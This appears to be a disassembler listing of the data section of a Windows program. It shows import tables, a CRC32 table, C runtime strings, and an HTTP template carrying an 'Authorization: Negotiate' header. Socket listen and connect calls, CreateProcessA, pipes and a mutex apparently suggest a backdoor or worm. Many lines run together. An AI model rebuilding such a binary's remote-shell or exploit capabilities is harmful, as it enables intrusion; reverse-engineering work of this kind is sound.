dword_41F14C	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_41F150	dd 7C8350BFh	; resolved to->KERNEL32.GetTimeZoneInformation					; sub_41BFB2+38r
dword_41F154	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_41F158	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_416FD8+28r
dword_41F15C	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_41AF6F+59r
dword_41F160	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_41F164	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_41F168	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41F16C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41F170	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41F174	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_417089+51r
dword_41F178	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_41F17C	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_41E5C3+2Er
dword_41F180	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_41F184	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_419FC4+A7r
dword_41F188	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_419FC4+14Dr ...
dword_41F18C	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_41A452+14r ...
dword_41F190	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_41F194	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_41F198	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_41F19C	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_41F1A0	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41F1A4	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_41AE3D+E1r
		dd 0
dword_41F1AC	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_404857+8Er
dword_41F1B0	dd 71AB3E00h	; resolved to->WS2_32.binddword_41F1B4	dd 71AB88D3h	; resolved to->WS2_32.listendword_41F1B8	dd 71AC1028h	; resolved to->WS2_32.acceptdword_41F1BC	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4041D7+47r ...
dword_41F1C0	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4047DA+35r
dword_41F1C4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4039C9+35r ...
dword_41F1C8	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; sub_4041D7+8Dr
dword_41F1CC	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4039C9+6Dr ...
dword_41F1D0	dd 71AB428Ah	; resolved to->WS2_32.send					; seg001:0040362Cr ...
dword_41F1D4	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_4041D7+115r
dword_41F1D8	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_41F1DC	dd 71AB3B91h	; resolved to->WS2_32.socket					; seg001:004035A9r ...
dword_41F1E0	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41F1E4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4039C9+5Cr ...
dword_41F1E8	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_4039C9+EEr ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402E8D+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_41F230	dq 1.388888888888889e-2	; DATA XREF: sub_402C9F+2Fr
dbl_41F238	dq 1.666666666666667e-1	; DATA XREF: sub_402C9F+15r
dword_41F240	dd 0FFFFFFFFh						; sub_40315Fr ...
		align 8
dbl_41F248	dq 1.333333333333333	; DATA XREF: sub_402CEB+79r
dword_41F250	dd 0							; sub_40320F+5Bo ...
dword_41F254	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_41F658	dq 9.765625e-4		; DATA XREF: sub_40A3AD+2F0r
					; sub_40A3AD+30Br ...
dbl_41F660	dq -3.0517578125e-5	; DATA XREF: sub_41271C+1Er
dbl_41F668	dq 1.0			; DATA XREF: sub_413FAE+6Cr
					; sub_4140F7+6Cr ...
dword_41F670	dd 0FFFFFFFFh, 415EE8h,	415EFChbyte_41F67C	db 6			; DATA XREF: sub_416065:loc_4160BCr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
off_41F6D8	dd offset dword_6E0028	; DATA XREF: seg001:off_4377ACo
		dd offset byte_6C0075
		unicode	0, <l)>,0
		align 4
aNull		db '(null)',0           ; DATA XREF: seg001:off_4377A8o
		align 10h
		dd offset byte_6E795F
		dd 31795Fh, 30795Fh, 78657266h,	70h, 646F6D66h,	0
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
		dd offset dword_6E6174
		dd offset byte_736F63
		dd offset byte_6E6973
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
		dd offset dword_676F6C
		dd 776F70h
off_41F7A0	dd offset byte_707865	; DATA XREF: seg001:off_4379D4o
		align 8
dbl_41F7A8	dq 0.0			; DATA XREF: sub_417818+8Cr
					; sub_417818+ACr ...
dbl_41F7B0	dq 4.195835e6		; DATA XREF: sub_417D2D+Fr
dbl_41F7B8	dq 3.145727e6		; DATA XREF: sub_417D2D+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_417D6B+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_417D6Bo
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_417E92+93o
		align 10h
dword_41F7F0	dd 0FFFFFFFFh, 41857Dh,	418587h, 0dword_41F800	dd 0FFFFFFFFh, 0		dd offset loc_418703
		align 10h
		dd offset sub_4186E1
		dd offset sub_4186EB
dword_41F818	dd 0FFFFFFFFh, 418933h,	418937h, 0dword_41F828	dd 0FFFFFFFFh, 418995h,	41899Eh, 0dword_41F838	dd 0FFFFFFFFh, 0		dd offset loc_418A6D
		align 8
		dd offset loc_418A59
		dd offset loc_418A5D
dword_41F850	dd 0FFFFFFFFh, 0; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 8Ah,	41h, 0
		align 10h
		dd offset loc_418AAF
		dd offset loc_418AB3
dword_41F868	dd 2 dup(0)						; sub_41B513+39o ...
dword_41F870	dd 0FFFFFFFFh, 41A0D4h,	41A0D8h, 0FFFFFFFFh, 41A188h, 41A18Ch
					; DATA XREF: sub_419FC4+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg001:off_437E1Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41B235+119o
		align 4
asc_41FB38	db 0Ah			; DATA XREF: sub_41B235+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41B235+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41B235+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41B235+7Do
		align 8
dword_41FB78	dd 0FFFFFFFFh, 41B60Ch,	41B610haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41BFB2+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41CA11+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41CA11+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41CA11+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41D1E1:loc_41D2D6o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_41D1E1+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_41D1E1+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41D1E1+ADo
		align 4
dword_41FC18	dd 0FFFFFFFFh, 41DD1Fh,	41DD23h, 0FFFFFFFFh, 41DD8Eh, 41DD92h
					; DATA XREF: sub_41DB68+5o
		dd 41FD38h
off_41FC34	dd offset loc_41E2C8	; DATA XREF: sub_41E0D0+4Do
					; sub_41E2E4+Co
		dd offset sub_41E18E
		dd offset sub_41E2AB
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41E0D0+1Eo
		dd offset dword_41FD70
off_41FC54	dd offset loc_41E1F5	; DATA XREF: sub_41E12A+4Eo
					; sub_41E1B8+11o ...
		dd offset sub_41E18E
		dd offset sub_41E19B
		dd offset dword_41FDC0
off_41FC64	dd offset loc_41E3B0	; DATA XREF: sub_41E2FC+4Do
					; sub_41E3CC+Co
		dd offset sub_41E18E
		dd offset sub_41E393
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41E2FC+1Eo
		dd offset dword_41FDF0
off_41FC8C	dd offset sub_41E4CC	; DATA XREF: sub_41E4E8+8o
					; sub_41E525+8o ...
		dd offset sub_41E585
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_41E585+7o
		align 4
		dd offset dword_41FE38
off_41FCAC	dd offset loc_41E5A7	; DATA XREF: sub_41E592o
					; seg001:off_438540o ...
dword_41FCB0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41FCD0	dd offset off_438540	; DATA XREF: seg001:0041FD20o
					; seg001:0041FD54o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41FCE8	dd offset off_438558	; DATA XREF: seg001:0041FD1Co
					; seg001:0041FD50o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_41FD00	dd offset off_438578	; DATA XREF: seg001:0041FD18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FD00
		dd offset off_41FCE8
		dd offset off_41FCD0
		dd 0
		db    0			; DATA XREF: seg001:0041FD48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41FD18h, 3 dup(0)
		dd offset off_438578
		dd offset unk_41FD28
		align 10h
		dd offset off_41FCE8
		dd offset off_41FCD0
dword_41FD58	dd 4 dup(0)			dd 2, 41FD50h
dword_41FD70	dd 3 dup(0)			dd offset off_438558
		dd offset dword_41FD58+8
		align 8
off_41FD88	dd offset off_438598	; DATA XREF: seg001:0041FDA0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FD88
		dd offset off_41FCE8
		dd offset off_41FCD0
dword_41FDAC	dd 3 dup(0)			dd 3, 41FDA0h
dword_41FDC0	dd 3 dup(0)			dd offset off_438598
		dd offset dword_41FDAC+4
		dd offset off_41FCD0
dword_41FDD8	dd 4 dup(0)			dd 1, 41FDD4h
dword_41FDF0	dd 3 dup(0)			dd offset off_438540
		dd offset dword_41FDD8+8
		align 8
off_41FE08	dd offset off_4385C0	; DATA XREF: seg001:0041FE20o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41FE08
		dd 0
		db    0			; DATA XREF: seg001:0041FE48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41FE20h
dword_41FE38	dd 3 dup(0)			dd offset off_4385C0
		dd offset unk_41FE28
		align 10h
dword_41FE50	dd 19930520h, 2, 41FE70h, 5 dup(0)		dd 0FFFFFFFFh, 41E608h,	0
		dd offset sub_41E600
dword_41FE80	dd 19930520h, 2, 41FEA0h, 5 dup(0)		dd 0FFFFFFFFh, 41E62Ch,	0
		dd offset loc_41E634
dword_41FEB0	dd 19930520h, 2, 41FED0h, 1, 41FEE0h, 3	dup(0)
					; DATA XREF: seg001:loc_41E648o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41FEF8h, 4	dup(0)
		dd offset loc_403479
		dd 0
		dd offset off_438540
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41E525h, 2 dup(0)
		dd offset off_438558
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E211h, 2 dup(0)
		dd offset off_438578
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E2E4h, 0
dword_41FF68	dd 3, 41FF48h, 41FF28h,	41FF08hdword_41FF78	dd 0							; sub_41E2AB+12o
		dd offset sub_41E26E
		dd 0
		dd offset dword_41FF68
dword_41FF88	dd 19930520h, 1, 41FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 41E654h
dword_41FFB0	dd 19930520h, 1, 41FFD0h, 5 dup(0)dword_41FFD0	dd 0FFFFFFFFh, 41E668h,	2, 41FF28h, 41FF08h, 0dword_41FFE8	dd 0				dd offset sub_41E1B8
		dd 0
		dd offset dword_41FFD0+8
dword_41FFF8	dd 19930520h, 1, 420018h, 5 dup(0)		dd 0FFFFFFFFh, 41E67Ch
dword_420020	dd 19930520h, 1, 420040h, 5 dup(0)		dd 0FFFFFFFFh, 41E690h
dword_420048	dd 19930520h, 1, 420068h, 5 dup(0)		dd 0FFFFFFFFh, 41E6A4h,	0
		dd offset off_438598
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41E3CCh, 0
dword_420090	dd 3, 420070h, 41FF28h,	41FF08hdword_4200A0	dd 0							; sub_41E393+12o
		dd offset sub_41E356
		dd 0
		dd offset dword_420090
dword_4200B0	dd 19930520h, 1, 4200D0h, 5 dup(0)		dd 0FFFFFFFFh, 41E6B8h
dword_4200D8	dd 19930520h, 1, 4200F8h, 5 dup(0)		dd 0FFFFFFFFh, 41E6CCh,	202E8h,	2 dup(0)
		dd 2032Ch, 1F1ACh, 2013Ch, 2 dup(0)
		dd 20AB0h, 1F000h, 5 dup(0)
		dd 206A0h, 20A96h, 20A84h, 20A72h, 20A62h, 20A4Eh, 20A3Eh
		dd 20A2Eh, 20A1Eh, 20A00h, 209EEh, 209DCh, 209CEh, 209BEh
		dd 209ACh, 20992h, 20338h, 20346h, 20356h, 20370h, 2038Ch
		dd 20394h, 203A0h, 203AEh, 203BCh, 203D2h, 203E4h, 203F6h
		dd 20406h, 20416h, 20424h, 2043Ah, 20446h, 2045Eh, 20478h
		dd 20488h, 2049Ah, 204A6h, 204B8h, 204D0h, 204E8h, 20510h
		dd 20528h, 20538h, 2054Ah, 2055Eh, 20570h, 20580h, 2058Eh
		dd 205A0h, 205B0h, 205C6h, 205D4h, 205E2h, 205F4h, 20610h
		dd 20626h, 20636h, 2064Ch, 2065Ch, 2066Eh, 20682h, 20690h
		dd 206B6h, 206CCh, 206DCh, 206EAh, 206FEh, 20714h, 2072Ah
		dd 2073Eh, 2074Ch, 2075Ah, 20770h, 2077Ch, 20792h, 207A2h
		dd 207B4h, 207C0h, 207D4h, 207E0h, 207F2h, 207FEh, 2080Ah
		dd 20816h, 20830h, 20840h, 2084Eh, 20860h, 20872h, 20880h
		dd 2088Eh, 2089Ch, 208AAh, 208BAh, 208CAh, 208DCh, 208E8h
		dd 208F8h, 20908h, 20914h, 2091Eh, 2092Ah, 20946h, 20960h
		dd 2097Ah, 0
		dd 80000074h, 80000002h, 8000000Dh, 80000001h, 80000073h
		dd 8000000Bh, 80000009h, 80000015h, 80000010h, 80000013h
		dd 80000012h, 80000097h, 80000017h, 8000000Ah, 80000004h
		dd 80000003h, 0
		dd 5F325357h, 642E3233h, 6C6Ch,	7845007Eh, 68547469h, 64616572h
		dd 16D0000h, 54746547h,	436B6369h, 746E756Fh, 2060000h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db    7
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		db  96h	; –
		db 2, 53h, 6Ch
		dd offset byte_706565
		db 0DFh	; ß
		db 2, 57h, 72h
aItefile	db 'iteFile',0
		db 1Bh,0
aClosehandle	db 'CloseHandle',0
a4		db '4',0
aCreatefilea	db 'CreateFileA',0
		db  24h	; $
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 16Eh
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db 0FBh	; û
		align 2
aGetdateformata	db 'GetDateFormatA',0
		align 2
		dw 11Ah
aGetlasterror	db 'GetLastError',0
		align 2
aJ		db 'J',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 112h
aGetfilesize	db 'GetFileSize',0
		db  0Dh
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 4
aFindclose	db 'FindClose',0
aK		db 'Š',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
aI_0		db '‰',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
aA_0		db '',0
aFindnextfilea	db 'FindNextFileA',0
aF		db '”',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 218h
aReadfile	db 'ReadFile',0
		align 2
		dw 26Ah
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db 0C1h	; Á
		db 1, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 10h
aF_0		db 'f',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db 0ABh	; «
		db 1, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aU		db 'U',0
aDeletecritical	db 'DeleteCriticalSection',0
; ---------------------------------------------------------------------------
		retn	4C01h
; ---------------------------------------------------------------------------
aOadlibrarya	db 'oadLibraryA',0
		align 4
		db  3Eh	; >
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
		align 2
		dw 126h
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aP		db '¯',0
aFormatmessagea	db 'FormatMessageA',0
		align 10h
		db  93h	; “
		db 1, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 10h
		db  8Ch	; Œ
		db 1, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 2B0h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db 0D6h	; Ö
		db 1, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
a5		db '5',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 26Ch
aSetfiletime	db 'SetFileTime',0
		db  14h
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
aD		db 'D',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
aA_1		db '€',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db  68h	; h
		db 2, 53h, 65h
aTfileattribu_0	db 'tFileAttributesA',0
		align 2
		dw 165h
aGettemppatha	db 'GetTempPathA',0
		align 2
		dw 10Bh
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 655001F9h, 614E6B65h, 5064656Dh, 657069h, 75440063h
		dd 63696C70h, 48657461h, 6C646E61h, 0F70065h
aGetcurrentproc	db 'GetCurrentProcess',0
aC		db 'C',0
aCreatepipe	db 'CreatePipe',0
		align 10h
		db  75h	; u
		db 1, 47h, 65h
aTversionexa	db 'tVersionExA',0
		db  8Dh	; 
		db 1, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
		dw 159h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		dd 6547011Bh, 636F4C74h, 69546C61h, 656Dh, 7845007Dh, 72507469h
		dd 7365636Fh, 2A70073h
aTransactnamedp	db 'TransactNamedPipe',0
		dw 2D2h
aWidechartomult	db 'WideCharToMultiByte',0
		db 0E4h	; ä
		db 1, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		db 'Î',0
aGetcomputernam	db 'GetComputerNameA',0
		align 2
aW		db 'W',0
aDeletefilea	db 'DeleteFileA',0
		dd 704F01EFh, 72506E65h, 7365636Fh, 0F80073h
aGetcurrentpr_0	db 'GetCurrentProcessId',0
		db '(',0
aCopyfilea	db 'CopyFileA',0
		db 0CEh	; Î
		db 2, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
a?		db '?',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 29Fh
aTerminatethrea	db 'TerminateThread',0
		dd 6F4D01DDh, 69466576h, 41656Ch, 6554029Eh, 6E696D72h
		dd 50657461h, 65636F72h, 7373h,	736C02FFh, 6D637274h, 416970h
		dd 6547011Ch, 636F4C74h, 49656C61h, 416F666Eh, 1990000h
		dd 70616548h, 6F6C6C41h, 19F0063h, 70616548h, 65657246h
		dd 22F0000h, 556C7452h,	6E69776Eh, 1700064h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 10h
		dd 6547015Dh, 73795374h, 546D6574h, 656D69h, 654801A2h
		dd 65527061h, 6F6C6C41h, 1500063h, 53746547h, 74726174h
		dd 6E497075h, 416F66h, 654700CAh, 6D6F4374h, 646E616Dh
		dd 656E694Ch, 1740041h,	56746547h, 69737265h, 6E6Fh, 6548019Dh
		dd 65447061h, 6F727473h, 19B0079h, 70616548h, 61657243h
		dd 6574h, 695602BFh, 61757472h,	6572466Ch, 2BB0065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 1B80000h, 61427349h, 69725764h
		dd 74506574h, 20B0072h,	73696152h, 63784565h, 69747065h
		dd 6E6Fh, 654801A3h, 69537061h,	657Ah, 434C01BFh, 5370614Dh
		dd 6E697274h, 4167h, 434C01C0h,	5370614Dh, 6E697274h, 5767h
		dd 654700BFh, 49504374h, 6F666Eh, 654700B9h, 50434174h
		dd 1310000h, 4F746547h,	50434D45h, 2AD0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		db '²',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db '³',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 106h
aGetenvironment	db 'GetEnvironmentStrings',0
		dw 108h
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		db  6Dh	; m
		db 2, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 152h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 115h
